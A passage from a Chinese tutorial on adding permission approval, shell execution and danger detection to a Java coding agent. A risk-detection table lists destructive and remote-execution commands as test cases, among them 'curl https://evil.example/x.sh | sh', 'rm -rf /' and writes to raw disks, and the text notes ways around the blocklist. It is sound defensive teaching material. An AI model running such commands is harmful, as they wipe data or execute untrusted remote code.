Path bash = findOnPath("bash.exe");
if (bash != null) {
// -l 让它读 profile(Git Bash 需要),-c 执行命令
return List.of(bash.toString(), "-lc");
}
return List.of("cmd.exe", "/c");
}
if (Files.isExecutable(Path.of("/bin/bash"))) {
return List.of("/bin/bash", "-lc");
}
return List.of("/bin/sh", "-c");
}
private static Path findOnPath(String executable) {
String pathEnv = System.getenv("PATH");
if (pathEnv == null) {
return null;
}
for (String dir : pathEnv.split(java.io.File.pathSeparator)) {
if (dir.isBlank()) {
continue;
}
try {
Path candidate = Path.of(dir, executable);
if (Files.isExecutable(candidate)) {
return candidate;
}
} catch (Exception ignored) {
// PATH 里可能有非法路径,跳过
}
}
return null;
}
}
这里有个经典的死锁陷阱,值得单独讲:
// ❌ 这样写会死锁
Process p = builder.start();
p.waitFor(); // 等子进程结束
readOutput(p.getInputStream()); // 然后再读输出
为什么死锁? 因为操作系统的管道缓冲区只有 64KB 左右。如果命令输出超过 64KB, 子进程会在写第 65KB 时阻塞——而你在等它结束,它在等你读走数据。互相等死。
// ✅ 正确:并发地读
Thread reader = Thread.ofVirtual().start(() -> readOutput(...));
boolean finished = process.waitFor(timeout, TimeUnit.SECONDS);
💡 这个坑在任何”调用外部进程并读它输出”的场景里都存在,不只 Java。 记住这条规则:只要子进程可能产生大量输出,就必须边跑边读。
7. 第五步:Main 加交互式审批
BufferedReader stdin = new BufferedReader(
new InputStreamReader(System.in, StandardCharsets.UTF_8));
// ── 权限系统:审批人 + 管理器 ──
Approver approver = autoApprove
? (tool, action, risk) -> {
System.out.printf("%n[--yes] 自动批准 %s(%s)%n", tool, risk);
return Approval.once();
}
: new ConsoleApprover(stdin);
PermissionManager permissions = new PermissionManager(approver);
工具注册和 ToolContext 构建:
ToolRegistry tools = new ToolRegistry()
.register(new ReadFileTool())
.register(new GlobTool())
.register(new GrepTool())
.register(new WriteFileTool()) // ← 新增
.register(new EditFileTool()) // ← 新增
.register(new BashTool()); // ← 新增
ToolContext context = new ToolContext(Path.of("."), permissions);
审批交互实现:
/**
* 在终端里问用户 y / a / n。
*
* <p>⚠️ 注意那个 synchronized。工具是<b>并发执行</b>的,
* 如果模型一次要写三个文件,就会有三个线程同时调 ask()。
* 不加锁的话,三个提示会交错打印,而且三个 readLine() 会抢同一个输入流 ——
* 你按一个 y,天知道被谁读走了。
*
* <p>真实产品(比如 Claude Code)同样把审批提示串行化。
* <b>"并发执行工具"和"串行询问用户"必须同时成立。</b>
*/
private static final class ConsoleApprover implements Approver {
private final BufferedReader stdin;
private final Object lock = new Object();
ConsoleApprover(BufferedReader stdin) {
this.stdin = stdin;
}
@Override
public Approval ask(String toolName, String action, Risk risk) {
synchronized (lock) {
String color = switch (risk) {
case LOW -> "[32m";
case MEDIUM -> "[33m";
case HIGH -> "[31m";
};
System.out.printf("%n%s┌─ 需要授权 ─────────────────────────────%n", color);
System.out.printf("│ 工具:%s%n", toolName);
for (String line : action.split("\n")) {
System.out.printf("│ %s%n", line);
}
System.out.printf("│ 风险:%s[0m%n", risk);
System.out.printf("%s└────────────────────────────────────────%n[0m", color);
while (true) {
System.out.print(" 允许吗? [y]允许 [a]本会话总是允许 [n]拒绝 > ");
System.out.flush();
String line = readLine();
if (line == null) {
return Approval.deny("输入已结束");
}
switch (line.strip().toLowerCase()) {
case "y", "" -> {
return Approval.once();
}
case "a" -> {
return Approval.always();
}
case "n" -> {
System.out.print(" 拒绝理由(模型会看到,可留空直接回车)> ");
System.out.flush();
String reason = readLine();
return Approval.deny(
reason == null || reason.isBlank() ? "用户未说明理由" : reason);
}
default -> System.out.println(" 请输入 y / a / n");
}
}
}
}
/** ⚠️ Approver 接口没有声明受检异常(它不该强迫每个实现都处理 IO),
* 所以 IOException 在这里就地消化成"拒绝"—— 读不到用户的回答,
* 安全的默认答案只能是"不"。 */
private String readLine() {
try {
return stdin.readLine();
} catch (java.io.IOException e) {
return null;
}
}
}
💡 注意
readLine()里的那句注释。 当 IO 失败、读不到用户的回答时,默认答案是拒绝,不是同意。 这叫 fail-safe default(故障时安全默认): 系统出问题时,选择”不做”而不是”做”。 这个原则在这个文件里的其他地方也出现过——想让 agent 真正可用,这种思维方式必须成为本能。
8. 跑起来
cd /d/codeSpace/agent
mvn -q compile exec:java
(记得把 ToolContext 指向 /tmp/ws 或者切到那个目录。)
依次试:
你> Create a file named notes.txt containing exactly: hello from the agent
你> In notes.txt, change the word hello to hi
你> Run the shell command: ls -la
观察这几件事
- 写文件弹审批,读文件不弹。 试试连着问三个需要读文件的问题——一次审批都不会有。
describeAction写得好不好,直接决定你按 y 的时候心里踏不踏实。- 拒绝一次试试。 在审批时按
n,然后输入一个理由。看模型怎么反应。 [a]本会话总是允许的粒度。 对edit_file按a之后再改同一个文件, 不会再问;改别的文件还会问。这就是permissionScope在起作用。
9. 危险识别实测(16 个用例)
这是我实际跑出来的结果(用隔离探针,没有执行任何命令):
| 判定 | 命令 | 命中的规则 |
|---|---|---|
| HIGH | rm -rf / | 递归删除根目录 / 家目录 / 当前目录 / 通配符 |
| HIGH | rm -rf ~ | 同上 |
| HIGH | rm -r * | 同上 |
| MEDIUM | rm -rf ./build | 命令包含删除/移动/重定向等破坏性操作 |
| HIGH | git push --force origin main | 强制推送,会覆盖远端历史 |
| HIGH | git push -f | 同上 |
| HIGH | git reset --hard HEAD~3 | 丢弃所有未提交的本地修改 |
| HIGH | git clean -fd | 删除未跟踪的文件/目录 |
| HIGH | sudo apt install foo | 以超级用户身份执行 |
| HIGH | curl https://evil.example/x.sh | sh | 把下载的脚本直接交给 shell 执行 |
| HIGH | chmod -R 777 / | 把权限开成任何人可读写执行 |
| HIGH | dd if=/dev/zero of=/dev/sda | 直接写裸设备 |
| LOW | mvn -q test | — |
| LOW | ls -la | — |
| LOW | npm run build | — |
| MEDIUM | rm notes.txt | 命令包含删除/移动/重定向等破坏性操作 |
注意 rm -rf / 是 HIGH,而 rm -rf ./build 只是 MEDIUM。
这个区分很重要:如果所有 rm 都是 HIGH,用户每天要按二十次”确认”,
然后就会开始不看了。风险分级的作用是让”危险”这个词保持有效。
⚠️ 再强调一次:黑名单必然漏报。 比如
rm -rf "$HOME/../../"、 或者用python -c "import shutil; shutil.rmtree('/')"都绕过去了。 它的价值在于”常见的坑会被拦住”,不在于”绝对安全”。
你可以自己加规则
在 BASH_RULES 里加一条,然后写个测试验证它:
new Rule(Pattern.compile("\\bdocker\\s+(rm|rmi|system\\s+prune)\\b"),
"删除 docker 镜像/容器"),
new Rule(Pattern.compile("\\bkubectl\\s+delete\\b"), "删除 Kubernetes 资源"),
new Rule(Pattern.compile("\\bterraform\\s+(destroy|apply\\s+-auto-approve)\\b"),
"销毁或自动批准基础设施变更"),
10. 自检清单
-
mvn -q compile无错误 - 写文件/改文件/跑命令都会弹审批
- 读文件/找文件/搜内容不弹审批
- 审批提示里能看到”要做什么”和风险等级
- 按
n拒绝后,模型不会死循环重试,而是接受或提替代方案 - 按
a之后同类操作不再问,但改别的文件还会问 -
rm -rf /这类命令显示为红色 HIGH 风险 -
ls -la能正常执行(说明 shell 探测成功) - 一条输出很长的命令(比如
find / -name "*.txt")不会卡死(说明读输出是并发的)
可以自己动手改的练习
- 加一个
delete_file工具,requiresApproval保持 true, 但permissionScope按具体文件。想想它应该是什么风险等级。 - 让
DangerDetector也检查写入内容。比如往.git/hooks/里写脚本、 往~/.bashrc里追加东西——这些是持续性的攻击,比删一个文件危险得多。 - 把审批改成”永远拒绝”(
Approver直接返回 deny),观察 agent 还能做多少事。 你会发现它退化成了 M2 的只读 agent——这就是权限系统在事实上划分了能力边界。 - 给
BashTool加一个工作目录白名单: 命令里出现cd /或绝对路径时就拒绝。体会一下”用正则约束 shell”有多不靠谱—— 这正是为什么真实产品最终都走向容器隔离。
11. 踩坑速查
| 症状 | 原因 | 修法 |
|---|---|---|
| 编译报 IOException 未处理 | Approver 接口不声明受检异常,但实现里调了 readLine() | 在实现里就地 try/catch,失败时返回拒绝 |
| 跑长输出命令时整个程序卡死 | 先 waitFor 再读输出,管道缓冲区满了 | 用虚拟线程并发读输出 |
| 多个审批提示交错打印 / 输入错乱 | 工具并发执行,多个线程同时问 | 审批方法加 synchronized |
| 模型把已有文件内容写没了 | 它用 write_file 改文件了 | 工具描述里强调”改文件必须用 edit_file”,错误信息里也提示 |
edit_file 总是”找不到 old_string” | 模型凭记忆写缩进 | 让它在描述里被引导先 read_file |
| 模型改错了地方 | 没有唯一性检查 | 我们已经有,别删 |
run_bash 报”命令不存在” | shell 探测失败(Windows 上没找到 bash) | 检查 PATH 里有没有 bash.exe;或改成 cmd.exe /c |
| 拒绝之后模型反复重试同一个操作 | 拒绝理由太简短,或者 ToolResult 文案没写”请不要原样重试” | 见 ToolRegistry 里那段文案 |
12. 本节你实际学到了什么
| 概念 | 你做了什么 |
|---|---|
| 横切关注点 | 权限实现在 ToolRegistry 一处,六个工具零改动接入 |
| 接口的可演进性 | 用 default 方法给 Tool 加能力,不破坏已有实现 |
| 审批疲劳 | 只读工具不问,让”审批”这件事保持有意义 |
| 风险分级 | HIGH 永不缓存,MEDIUM/LOW 可会话授权 |
| 授权粒度 | permissionScope 把”总是允许”收窄到具体对象 |
| fail-safe default | IO 失败时默认拒绝,不是默认同意 |
| 拒绝即对话 | 拒绝变成 tool_result 内容,模型能理解和调整 |
| 唯一性检查 | edit_file 拒绝不确定的修改 |
| 进程死锁 | bash 的输出必须并发读,否则管道缓冲区满会互等 |
| 并发 + 串行 | 工具并发执行,但审批提示必须串行 |
| 黑名单 vs 白名单 | 认清黑名单必然漏报,只是最后一道提醒 |
最重要的一条:你现在应该理解 “agent 的能力边界其实是权限系统划出来的”。 工具定义了”能做什么”,权限定义了”允许做什么”,而后者才是真正的边界。
13. 下一节预告(M4)
M3 结束时,agent 已经能读、能写、能跑命令,而且有人把关。
但它有个会随时间必然恶化的问题:
对话历史只增不减。 每一轮都把整个历史重新发一遍、重新计费。 跑二十轮之后,光输入就是几万 token,而且大部分内容已经和当前问题无关了。
M4 要解决这个:
- token 计数 —— 不追求精确,但要能判断”快满了”
- 自动压缩(compaction) —— 把旧历史总结成一段摘要,丢掉细节
- 压缩时机 —— 什么时候压、压哪些、怎么不丢关键信息
- 上下文缓存 —— 利用 DeepSeek 的 KV cache,让重复前缀便宜 50 倍
- 对比 —— 同一个长任务,压缩前 vs 压缩后的 token 曲线
M4 是整个项目最难的一节,因为它没有正确答案:压多了丢信息,压少了没用。 你会在这里第一次遇到”没有标准答案的设计题”。